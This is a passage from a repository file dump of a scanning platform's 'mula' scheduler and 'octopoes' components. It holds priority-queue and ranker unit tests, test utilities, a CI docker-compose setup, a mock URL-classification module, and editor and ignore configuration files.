updated, the item should be pushed.\n        \"\"\"\n        # Set queue to allow priority updates\n        self.pq.allow_priority_updates = True\n\n        # Add an item to the queue\n        initial_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(initial_item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n        # Update the item\n        updated_item = copy.deepcopy(initial_item)\n        updated_item.priority = 100\n\n        # Add the same item again\n        self.pq.push(updated_item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n        item_db = self.pq_store.get(self.pq.pq_id, initial_item.id)\n        self.assertEqual(updated_item.priority, item_db.priority)\n\n    def test_remove_item(self):\n        \"\"\"When removing an item from the queue, the item should be marked as\n        removed, and the item should be removed from the entry_finder.\n        \"\"\"\n        # Add an item to the queue\n        item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n        # Remove the item\n        self.pq_store.remove(self.pq.pq_id, item.id)\n\n        self.assertEqual(0, self.pq.qsize())\n\n    def test_push_maxsize_not_allowed(self):\n        \"\"\"When pushing an item to the queue, if the maxsize is reached, the\n        item should be discarded.\n        \"\"\"\n        # Set maxsize to 1\n        self.pq.maxsize = 1\n\n        # Add an item to the queue\n        first_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(first_item)\n\n        # Add another item to the queue\n        second_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=2)\n        with self.assertRaises(_queue.Full):\n            self.pq.push(second_item)\n\n        # The queue should now have 1 item\n        self.assertEqual(1, self.pq.qsize())\n\n        # The item with the highest priority should be the one that was\n        # added first\n        first_entry = self.pq.peek(0)\n        self.assertEqual(1, first_entry.priority)\n        self.assertEqual(first_item.data, first_entry.data)\n\n    def test_push_maxsize_allowed(self):\n        \"\"\"When pushing an item to the queue, if the maxsize is not reached, the\n        item should be not discarded.\n        \"\"\"\n        # Set maxsize to 0 (unbounded)\n        self.pq.maxsize = 0\n\n        # Add an item to the queue\n        first_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(first_item)\n\n        # Add another item to the queue\n        second_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=2)\n        self.pq.push(second_item)\n\n        # The queue should now have 2 items\n        self.assertEqual(2, self.pq.qsize())\n\n        first_entry = self.pq.peek(0)\n        second_entry = self.pq.peek(1)\n\n        # The item with the highest priority should be the one that was\n        # added first\n        self.assertEqual(1, first_entry.priority)\n        self.assertEqual(first_item.data, first_entry.data)\n\n        # Last item should be the second item\n        self.assertEqual(2, second_entry.priority)\n        self.assertEqual(second_item.data, second_entry.data)\n\n    def test_push_maxsize_allowed_high_priority(self):\n        \"\"\"When pushing an item to the queue, if the maxsize is reached,\n        pushing an item with a higher priority should not discard the item.\n        \"\"\"\n        # Set maxsize to 1\n        self.pq.maxsize = 1\n\n        # Add an item to the queue\n        first_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(first_item)\n\n        # Add another item to the queue\n        second_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(second_item)\n\n        # The queue should now have 2 items\n        self.assertEqual(2, self.pq.qsize())\n\n        first_entry = self.pq.peek(0)\n        second_entry = self.pq.peek(1)\n\n        # The item with the highest priority should be the one that was\n        # added first\n        self.assertEqual(1, first_entry.priority)\n        self.assertEqual(first_item.data, first_entry.data)\n\n        # Last item should be the second item\n        self.assertEqual(1, second_entry.priority)\n        self.assertEqual(second_item.data, second_entry.data)\n\n    def test_push_maxsize_not_allowed_low_priority(self):\n        \"\"\"When pushing an item to the queue, if the maxsize is reached,\n        pushing an item with a lower priority should discard the item.\n        \"\"\"\n        # Set maxsize to 1\n        self.pq.maxsize = 1\n\n        # Add an item to the queue\n        first_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(first_item)\n\n        # Add another item to the queue\n        second_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=2)\n        with self.assertRaises(_queue.Full):\n            self.pq.push(second_item)\n\n        # The queue should now have 1 item\n        self.assertEqual(1, self.pq.qsize())\n\n        # The item with the highest priority should be the one that was\n        # added first\n        first_entry = self.pq.peek(0)\n        self.assertEqual(1, first_entry.priority)\n        self.assertEqual(first_item.data, first_entry.data)\n\n    def test_pop(self):\n        \"\"\"When popping an item it should return the correct item and remove\n        it from the queue.\n        \"\"\"\n        # Add an item to the queue\n        first_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(first_item)\n\n        # The queue should now have 1 item\n        self.assertEqual(1, self.pq.qsize())\n\n        # Pop the item\n        popped_items = self.pq.pop()\n        self.assertEqual(first_item.data, popped_items[0].data)\n\n        # The queue should now be empty\n        self.assertEqual(0, self.pq.qsize())\n\n    def test_pop_with_lock(self):\n        \"\"\"When popping an item it should acquire a lock an not allow another\n        thread to pop an item.\n        \"\"\"\n        # Arrange\n        first_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        second_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(first_item)\n        self.pq.push(second_item)\n\n        event = threading.Event()\n\n        # Create a queue to store the popped items, used for asserting\n        # the correct order of the items.\n        queue = _queue.Queue()\n\n        # This function is similar to the pop() function of the queue, but\n        # it will set a timeout so we can test the lock.\n        def first_pop(event):\n            with self.pq.lock:\n                items = self.pq_store.pop(self.pq.pq_id, None)\n\n                # Signal that we hold the lock, and keep the lock for a while\n                # before releasing it.\n                event.set()\n                time.sleep(5)\n\n                self.pq_store.remove(self.pq.pq_id, items[0].id)\n\n                queue.put(items[0])\n\n        def second_pop(event):\n            # Wait for thread 1 to set the event before continuing, we\n            # ensure that thread 1 has the lock.\n            event.wait()\n\n            # This should block until the lock is released\n            items = self.pq.pop()\n\n            queue.put(items[0])\n\n        # Act; with thread 1 we will create a lock on the queue, and then with\n        # thread 2 we try to pop an item while the lock is active.\n        thread1 = threading.Thread(target=first_pop, args=(event,))\n        thread2 = threading.Thread(target=second_pop, args=(event,))\n\n        thread1.start()\n        thread2.start()\n\n        thread1.join()\n        thread2.join()\n\n        # Assert, we should expect the first item to be popped first\n        self.assertEqual(first_item.id, queue.get().id)\n        self.assertEqual(second_item.id, queue.get().id)\n\n    def test_pop_without_lock(self):\n        \"\"\"When popping an item it should acquire a lock an not allow another\n        thread to pop an item.\n\n        NOTE: Here we test the procedure when a lock isn't set.\n        \"\"\"\n        # Arrange\n        first_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        second_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(first_item)\n        self.pq.push(second_item)\n\n        event = threading.Event()\n\n        # Create a queue to store the popped items, used for asserting\n        # the correct order of the items.\n        queue = _queue.Queue()\n\n        # This function is similar to the pop() function of the queue, but\n        # it will set a timeout. We have omitted the lock here.\n        def first_pop(event):\n            items = self.pq_store.pop(self.pq.pq_id, None)\n\n            # Signal that we hold the lock, and keep the lock for a while\n            # before releasing it.\n            event.set()\n            time.sleep(5)\n\n            self.pq_store.remove(self.pq.pq_id, items[0].id)\n\n            queue.put(items[0])\n\n        def second_pop(event):\n            # Wait for thread 1 to set the event before continuing, we\n            # ensure that thread 1 has the lock.\n            event.wait()\n\n            # This should block until the lock is released\n            items = self.pq.pop()\n\n            queue.put(items[0])\n\n        # Act; with thread 1 we won't create a lock, and then with thread 2 we\n        # try to pop an item while the timeout is active.\n        thread1 = threading.Thread(target=first_pop, args=(event,))\n        thread2 = threading.Thread(target=second_pop, args=(event,))\n\n        thread1.start()\n        thread2.start()\n\n        thread1.join()\n        thread2.join()\n\n        # Assert, we should expect the first item on the second pop\n        self.assertEqual(first_item.id, queue.get().id)\n        self.assertNotEqual(second_item.id, queue.get().id)\n\n    def test_pop_highest_priority(self):\n        \"\"\"Add two items to the queue, and pop the item with the highest\n        priority\n        \"\"\"\n        # Add an item to the queue\n        first_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(first_item)\n\n        # Add another item to the queue\n        second_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=2)\n        self.pq.push(second_item)\n\n        # The queue should now have 2 items\n        self.assertEqual(2, self.pq.qsize())\n\n        # Pop the item\n        popped_items = self.pq.pop()\n        self.assertEqual(first_item.priority, popped_items[0].priority)\n\n    def test_is_item_on_queue(self):\n        \"\"\"When checking if an item is on the queue, it should return True if\n        the item is on the queue, and False if it isn't.\n        \"\"\"\n        # Add an item to the queue\n        item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(item)\n\n        # Check if the item is on the queue\n        self.assertTrue(self.pq.is_item_on_queue(item))\n\n    def test_is_item_not_on_queue(self):\n        \"\"\"When checking if an item is on the queue, it should return True if\n        the item is on the queue, and False if it isn't.\n        \"\"\"\n        # Add an item to the queue\n        item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n\n        # Check if the item is on the queue\n        self.assertFalse(self.pq.is_item_on_queue(item))\n"
  },
  {
    "path": "mula/tests/unit/test_rankers.py",
    "content": "from datetime import datetime, timedelta, timezone\nfrom unittest import TestCase, mock\n\nfrom scheduler.schedulers.rankers.boefje import BoefjeRanker, BoefjeRankerTimeBased\nfrom scheduler.schedulers.rankers.normalizer import NormalizerRanker\n\n\nclass BoefjeRankerTestCase(TestCase):\n    \"\"\"Isolated unit tests for BoefjeRanker. The ranker is currently only\n    exercised end-to-end via the simulation suite, which makes priority\n    regressions hard to attribute. These tests pin the documented behaviour\n    of `rank()` so future refactors can't silently break it.\n    \"\"\"\n\n    def setUp(self):\n        self.ctx = mock.MagicMock()\n        self.ctx.config.pq_grace_period = 0  # easier to reason about boundaries\n        self.ranker = BoefjeRanker(ctx=self.ctx)\n\n    def _obj_with_latest_task(self, modified_at: datetime) -> mock.Mock:\n        latest_task = mock.Mock()\n        latest_task.modified_at = modified_at\n        obj = mock.Mock()\n        obj.latest_task = latest_task\n        return obj\n\n    def test_rank_new_task_returns_2(self):\n        obj = mock.Mock()\n        obj.latest_task = None\n        self.assertEqual(2, self.ranker.rank(obj))\n\n    def test_rank_falsy_latest_task_returns_2(self):\n        # The implementation also accepts `not obj.latest_task` for the new-task case.\n        obj = mock.Mock()\n        obj.latest_task = False\n        self.assertEqual(2, self.ranker.rank(obj))\n\n    def test_rank_task_just_ran_is_close_to_max_priority(self):\n        # A task that just ran (no time elapsed) should sit near the top of the\n        # 3..MAX_PRIORITY range. Allow a small tolerance for sub-second jitter.\n        recent = datetime.now(timezone.utc) - timedelta(seconds=1)\n        score = self.ranker.rank(self._obj_with_latest_task(recent))\n        self.assertGreater(score, BoefjeRanker.MAX_PRIORITY - 5)\n        self.assertLessEqual(score, BoefjeRanker.MAX_PRIORITY)\n\n    def test_rank_task_older_than_max_days_returns_3(self):\n        old = datetime.now(timezone.utc) - timedelta(days=BoefjeRanker.MAX_DAYS + 1)\n        self.assertEqual(3, self.ranker.rank(self._obj_with_latest_task(old)))\n\n    def test_rank_task_within_grace_period_returns_minus_one(self):\n        # Set a grace period of 1 hour and a latest_task that ran 1 minute ago.\n        # The grace period has not elapsed, so the ranker should signal \"skip\".\n        self.ctx.config.pq_grace_period = 3600\n        recent = datetime.now(timezone.utc) - timedelta(minutes=1)\n        self.assertEqual(-1, self.ranker.rank(self._obj_with_latest_task(recent)))\n\n    def test_rank_decays_monotonically_over_time(self):\n        # Two tasks where one ran more recently than the other should rank the\n        # recent one higher (= larger priority number) than the older one.\n        # Catches sign flips and .seconds-truncation regressions.\n        now = datetime.now(timezone.utc)\n        recent = self.ranker.rank(self._obj_with_latest_task(now - timedelta(hours=1)))\n        older = self.ranker.rank(self._obj_with_latest_task(now - timedelta(days=3)))\n        self.assertGreater(recent, older)\n\n\nclass BoefjeRankerTimeBasedTestCase(TestCase):\n    def test_rank_returns_creation_epoch(self):\n        ranker = BoefjeRankerTimeBased(ctx=mock.MagicMock())\n        obj = mock.Mock()\n        obj.created_at = datetime(2026, 1, 1, 12, 0, 0, tzinfo=timezone.utc)\n        self.assertEqual(int(obj.created_at.timestamp()), ranker.rank(obj))\n\n\nclass NormalizerRankerTestCase(TestCase):\n    \"\"\"The NormalizerRanker prioritises older raw files so they get processed\n    first. The score is the boefje_meta.ended_at epoch — older = lower number =\n    higher priority on the min-heap PQ.\n    \"\"\"\n\n    def test_rank_returns_boefje_meta_ended_at_epoch(self):\n        ranker = NormalizerRanker(ctx=mock.MagicMock())\n        obj = mock.Mock()\n        obj.raw_data.boefje_meta.ended_at = datetime(2026, 4, 11, 9, 30, 0, tzinfo=timezone.utc)\n        self.assertEqual(int(obj.raw_data.boefje_meta.ended_at.timestamp()), ranker.rank(obj))\n\n    def test_rank_orders_older_raws_lower(self):\n        ranker = NormalizerRanker(ctx=mock.MagicMock())\n        older = mock.Mock()\n        older.raw_data.boefje_meta.ended_at = datetime(2026, 1, 1, tzinfo=timezone.utc)\n        newer = mock.Mock()\n        newer.raw_data.boefje_meta.ended_at = datetime(2026, 4, 1, tzinfo=timezone.utc)\n        self.assertLess(ranker.rank(older), ranker.rank(newer))\n"
  },
  {
    "path": "mula/tests/unit/test_utils.py",
    "content": "import unittest\nfrom datetime import datetime, timedelta, timezone\n\nfrom scheduler import utils\n\n\nclass ExpiringDictTestCase(unittest.TestCase):\n    def test_lifetime_expired(self):\n        ed = utils.ExpiringDict(lifetime=1, start_time=datetime.now(timezone.utc) - timedelta(seconds=2))\n        ed[\"a\"] = 1\n        with self.assertRaises(utils.ExpiredError):\n            ed.get(\"a\")\n\n    def test_lifetime_not_expired(self):\n        ed = utils.ExpiringDict()\n        ed[\"a\"] = 1\n\n        self.assertEqual(1, ed.get(\"a\"))\n\n    def test_toggle_expire(self):\n        ed = utils.ExpiringDict()\n        ed[\"a\"] = 1\n\n        ed.expiration_time = datetime.now(timezone.utc) - timedelta(seconds=2)\n\n        ed.expiration_enabled = False\n\n        self.assertEqual(1, ed.get(\"a\"))\n\n        ed.expiration_enabled = True\n        ed.expiration_time = datetime.now(timezone.utc) - timedelta(seconds=2)\n\n        with self.assertRaises(utils.ExpiredError):\n            ed.get(\"a\")\n"
  },
  {
    "path": "mula/tests/utils/__init__.py",
    "content": "from .json import UUIDEncoder\nfrom .memory import profile_memory\n"
  },
  {
    "path": "mula/tests/utils/functions.py",
    "content": "import uuid\nfrom typing import Any, ClassVar\n\nimport mmh3\nimport pydantic\nfrom scheduler import models\nfrom scheduler.server import schemas\nfrom sqlalchemy.dialects import postgresql\nfrom sqlalchemy.orm import Query\n\nfrom tests import factories\n\n\nclass TestModel(pydantic.BaseModel):\n    type: ClassVar[str] = \"test-model\"\n    id: str\n    name: str\n    count: int = 0\n    categories: list[str] | None = None\n    child: Any = None\n\n    def __init__(self, **data: Any):\n        super().__init__(**data)\n\n        if self.categories is None:\n            self.categories = []\n\n    @property\n    def hash(self) -> str:\n        return mmh3.hash_bytes(f\"{self.id}-{self.name}\").hex()\n\n\ndef create_test_model() -> TestModel:\n    return TestModel(id=uuid.uuid4().hex, name=uuid.uuid4().hex)\n\n\ndef create_task_push(priority: int, organisation: str, data: TestModel | None = None) -> schemas.TaskPush:\n    if data is None:\n        data = TestModel(id=uuid.uuid4().hex, name=uuid.uuid4().hex)\n\n    return schemas.TaskPush(priority=priority, organisation=organisation, data=data.model_dump())\n\n\ndef create_task_push_dict(priority: int, organisation: str, data: TestModel | None = None) -> dict[str, Any]:\n    return create_task_push(priority, organisation, data).model_dump(exclude_none=True)\n\n\ndef create_schedule(scheduler_id: str, data: Any | None = None) -> models.Schedule:\n    item = data or create_test_model()\n    return models.Schedule(scheduler_id=scheduler_id, hash=item.hash, data=item.model_dump())\n\n\ndef create_task(scheduler_id: str, organisation: str, priority: int = 0, data: Any | None = None) -> models.Task:\n    if data is None:\n        data = TestModel(id=uuid.uuid4().hex, name=uuid.uuid4().hex)\n\n    return models.Task(\n        scheduler_id=scheduler_id,\n        organisation=organisation,\n        priority=priority,\n        type=TestModel.type,\n        hash=data.hash,\n        data=data.model_dump(),\n    )\n\n\ndef create_boefje() -> models.Boefje:\n    scan_profile = factories.ScanProfileFactory(level=0)\n    ooi = factories.OOIFactory(scan_profile=scan_profile)\n    return factories.PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n\ndef compile_query(query: Query) -> str:\n    return str(query.statement.compile(dialect=postgresql.dialect(), compile_kwargs={\"literal_binds\": True}))\n"
  },
  {
    "path": "mula/tests/utils/json.py",
    "content": "import json\nfrom uuid import UUID\n\n\nclass UUIDEncoder(json.JSONEncoder):\n    def default(self, obj):\n        if isinstance(obj, UUID):\n            return obj.hex\n        return json.JSONEncoder.default(self, obj)\n"
  },
  {
    "path": "mula/tests/utils/memory.py",
    "content": "import os\nimport time\n\nimport psutil\n\n\ndef get_process_memory():\n    \"\"\"Returns the memory usage of the current process in MB.\"\"\"\n    process = psutil.Process(os.getpid())\n    return process.memory_info().rss / 1024 / 1024\n\n\ndef profile_memory(func, *args, **kwargs):\n    \"\"\"Profiles the given function and returns the memory usage in MB.\"\"\"\n\n    def wrapper(*args, **kwargs):\n        memory_before = get_process_memory()\n        start_time = time.time()\n\n        result = func(*args, **kwargs)\n        elapsed_time = time.time() - start_time\n\n        memory_after = get_process_memory()\n\n        print(\n            f\"{func.__name__}: memory before: {memory_before:.2f} MB, after: {memory_after:.2f} MB, \"\n            f\"consumed: {memory_after - memory_before:.2f} MB; exec time: {elapsed_time}\"\n        )\n\n        return result\n\n    return wrapper\n"
  },
  {
    "path": "mula/whitelist.py",
    "content": "properties  # unused variable (scheduler/connectors/listeners/listeners.py:81)\n"
  },
  {
    "path": "octopoes/.ci/docker-compose.yml",
    "content": "services:\n  rabbitmq:\n    restart: on-failure\n    image: \"docker.io/library/rabbitmq:3.12-management\"\n    ports:\n      - \"127.0.0.1:29003:15672\"\n      - \"127.0.0.1:29004:5672\"\n    healthcheck:\n      test: [\"CMD\", \"rabbitmqctl\", \"status\"]\n      interval: 5s\n      retries: 4\n    env_file:\n      - \".ci/ci.env\"\n\n  octopoes_integration:\n    build:\n      args:\n        ENVIRONMENT: dev\n        USER_UID: 1001\n        USER_GID: 1001\n      context: .\n    command: pytest tests/integration --timeout=300\n    depends_on:\n      - xtdb\n      - ci_octopoes\n    env_file:\n      - \".ci/ci.env\"\n\n  octopoes_pytest:\n    build:\n      args:\n        ENVIRONMENT: dev\n        USER_UID: 1001\n        USER_GID: 1001\n      context: .\n    command: pytest --timeout=300\n    depends_on:\n      - xtdb\n      - ci_octopoes\n    env_file:\n      - \".ci/ci.env\"\n\n  xtdb:\n    image: \"docker.underdark.nl/librekat/xtdb-http-multinode:main\"\n    ports:\n      - \"127.0.0.1:29002:3000\"\n\n  ci_octopoes:\n    build:\n      context: .\n    command: uvicorn octopoes.api.api:app --host 0.0.0.0 --port 80\n    depends_on:\n      rabbitmq:\n        condition: service_healthy\n      xtdb:\n        condition: service_started\n      katalogus_mock:\n        condition: service_started\n      ci_octopoes_api_worker:\n        condition: service_started\n    env_file:\n      - \".ci/ci.env\"\n    ports:\n      - \"127.0.0.1:29000:80\"\n\n  ci_octopoes_api_worker:\n    build:\n      context: .\n    command: celery -A octopoes.tasks.tasks worker -E --loglevel=INFO\n    depends_on:\n      rabbitmq:\n        condition: service_healthy\n      xtdb:\n        condition: service_started\n    env_file:\n      - \".ci/ci.env\"\n    ulimits:\n      nofile:\n        soft: 262144\n        hard: 262144\n\n  katalogus_mock:\n    image: \"docker.io/wiremock/wiremock:2.34.0\"\n    volumes:\n      - ./.ci/wiremock:/home/wiremock\n    ports:\n      - \"127.0.0.1:29001:8080\"\n    env_file:\n      - \".ci/ci.env\"\n"
  },
  {
    "path": "octopoes/.ci/mock_bits/url_classification_mock/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/.ci/mock_bits/url_classification_mock/bit.py",
    "content": "from bits.definitions import BitDefinition\n\nfrom octopoes.models.ooi.web import URL\n\nBIT = BitDefinition(\n    id=\"url-classification-mock\",\n    consumes=URL,\n    parameters=[],\n    module=\"bits.url_classification_mock.url_classification_mock\",\n    min_scan_level=0,\n)\n"
  },
  {
    "path": "octopoes/.ci/mock_bits/url_classification_mock/url_classification_mock.py",
    "content": "from collections.abc import Iterator\nfrom ipaddress import IPv4Address, ip_address\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom octopoes.models.ooi.web import URL, HostnameHTTPURL, IPAddressHTTPURL, WebScheme\n\n\ndef run(url: URL, additional_oois: list, config: dict) -> Iterator[OOI]:\n    if url.raw.scheme == \"http\" or url.raw.scheme == \"https\":\n        port = url.raw.port\n        if port is None:\n            if url.raw.scheme == \"https\":\n                port = 443\n            elif url.raw.scheme == \"http\":\n                port = 80\n\n        path = url.raw.path if url.raw.path is not None else \"/\"\n\n        default_args = {\"network\": url.network, \"scheme\": WebScheme(url.raw.scheme), \"port\": port, \"path\": path}\n        try:\n            addr = ip_address(url.raw.host)\n        except ValueError:\n            hostname = Hostname(network=url.network, name=url.raw.host)\n            hostname_url = HostnameHTTPURL(netloc=hostname.reference, **default_args)\n            original_url = URL(network=url.network, raw=url.raw, web_url=hostname_url.reference)\n            yield hostname\n            yield hostname_url\n            yield original_url\n        else:\n            if isinstance(addr, IPv4Address):\n                ip = IPAddressV4(network=url.network, address=addr)\n                ip_url = IPAddressHTTPURL(netloc=ip.reference, **default_args)\n                original_url = URL(network=url.network, raw=url.raw, web_url=ip_url.reference)\n                yield ip\n                yield ip_url\n                yield original_url\n            else:\n                ip = IPAddressV6(network=url.network, address=addr)\n                ip_url = IPAddressHTTPURL(netloc=ip.reference, **default_args)\n                original_url = URL(network=url.network, raw=url.raw, web_url=ip_url.reference)\n                yield ip\n                yield ip_url\n                yield original_url\n"
  },
  {
    "path": "octopoes/.ci/wiremock/mappings/organisations.json",
    "content": "{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"/v1/organisations\"\n  },\n  \"response\": {\n    \"status\": 200,\n    \"jsonBody\": {\n      \"_dev\": {\n        \"id\": \"_dev\",\n        \"name\": \"Development Organisation\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "octopoes/.dockerignore",
    "content": "**/__pycache__\n**/*.pyc\n**/*.pyo\n**/*.pyd\n.Python\nenv\n.venv\npip-log.txt\npip-delete-this-directory.txt\n.tox\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.log\n.git\n.mypy_cache\n.pytest_cache\n.hypothesis\nDockerfile\nbytes-data\n.dockerignore\n.github\n.env-dist\n.gitignore\n.ci\nMakefile\npackaging\nREADME.*\npyproject.toml\nsql_migrations\n.dockerignore\n"
  },
  {
    "path": "octopoes/.editorconfig",
    "content": "root = true\n\n[*]\ncharset = utf-8\nend_of_line = lf\ninsert_final_newline = true\ntrim_trailing_whitespace = true\nindent_style = space\nindent_size = 2\n\n[*.py]\nindent_size = 4\nmax_line_length = 120\n\n[Makefile]\nindent_style = tab\n\n[*.md]\ntrim_trailing_whitespace = false\n"
  },
  {
    "path": "octopoes/.gitignore",
    "content": "\n# Created by https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n# Edit at https://www.toptal.com/developers/gitignore?templates=windows,linux,macos,python,node,react,intellij,vscode\n\n### Intellij ###\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff\n.idea/\n.vscode\n\n# Gradle and Maven with auto-import\n# When using Gradle or Maven with auto-import, you should exclude module files,\n# since they will be recreated, and may cause churn.  Uncomment if using\n# auto-import.\n# .idea/artifacts\n# .idea/compiler.xml\n# .idea/jarRepositories.xml\n# .idea/modules.xml\n# .idea/*.iml\n# .idea/modules\n*.iml\n*.ipr\n\n# CMake\ncmake-build-*/\n\n# Mongo Explorer plugin\n.idea/**/mongoSettings.xml\n\n# File-based project format\n*.iws\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Cursive Clojure plugin\n.idea/replstate.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n# Editor-based Rest Client\n.idea/httpRequests\n\n# Android studio 3.1+ serialized cache file\n.idea/caches/build_file_checksums.ser\n\n### Intellij Patch ###\n# Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721\n\n# *.iml\n# modules.xml\n# .idea/misc.xml\n# *.ipr\n\n# Sonarlint plugin\n# https://plugins.jetbrains.com/plugin/7973-sonarlint\n.idea/**/sonarlint/\n\n# SonarQube Plugin\n# https://plugins.jetbrains.com/plugin/7238-sonarqube-community-plugin\n.idea/**/sonarIssues.xml\n\n# Markdown Navigator plugin\n# https://plugins.jetbrains.com/plugin/7896-markdown-navigator-enhanced\n.idea/**/markdown-navigator.xml\n.idea/**/markdown-navigator-enh.xml\n.idea/**/markdown-navigator/\n\n# Cache file creation bug\n# See https://youtrack.jetbrains.com/issue/JBR-2257\n.idea/$CACHE_FILE$\n\n# CodeStream plugin\n# https://plugins.jetbrains.com/plugin/12206-codestream\n.idea/codestream.xml\n\n### Linux ###\n*~\n\n# temporary files which can be created if a process still has a handle open of a deleted file\n.fuse_hidden*\n\n# KDE directory preferences\n.directory\n\n# Linux trash folder which might appear on any partition or disk\n.Trash-*\n\n# .nfs files are created when an open file is removed but is still being accessed\n.nfs*\n\n### macOS ###\n# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n\n# Thumbnails\n._*\n\n# Files that might appear in the root of a volume\n.DocumentRevisions-V100\n.fseventsd\n.Spotlight-V100\n.TemporaryItems\n.Trashes\n.VolumeIcon.icns\n.com.apple.timemachine.donotpresent\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n\n### Node ###\n# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\nreport.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n*.lcov\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# TypeScript v1 declaration files\ntypings/\n\n# TypeScript cache\n*.tsbuildinfo\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional stylelint cache\n.stylelintcache\n\n# Microbundle cache\n.rpt2_cache/\n.rts2_cache_cjs/\n.rts2_cache_es/\n.rts2_cache_umd/\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n.env.test\n.env*.local\n*.env\n\n# parcel-bundler cache (https://parceljs.org/)\n.cache\n.parcel-cache\n\n# Next.js build output\n.next\n\n# Nuxt.js build / generate output\n.nuxt\ndist\n\n# Gatsby files\n.cache/\n# Comment in the public line in if your project uses Gatsby and not Next.js\n# https://nextjs.org/blog/next-9-1#public-directory-support\n# public\n\n# vuepress build output\n.vuepress/dist\n\n# Serverless directories\n.serverless/\n\n# FuseBox cache\n.fusebox/\n\n# DynamoDB Local files\n.dynamodb/\n\n# TernJS port file\n.tern-port\n\n# Stores VSCode versions used for testing VSCode extensions\n.vscode-test\n\n### Python ###\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\npytestdebug.log\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx 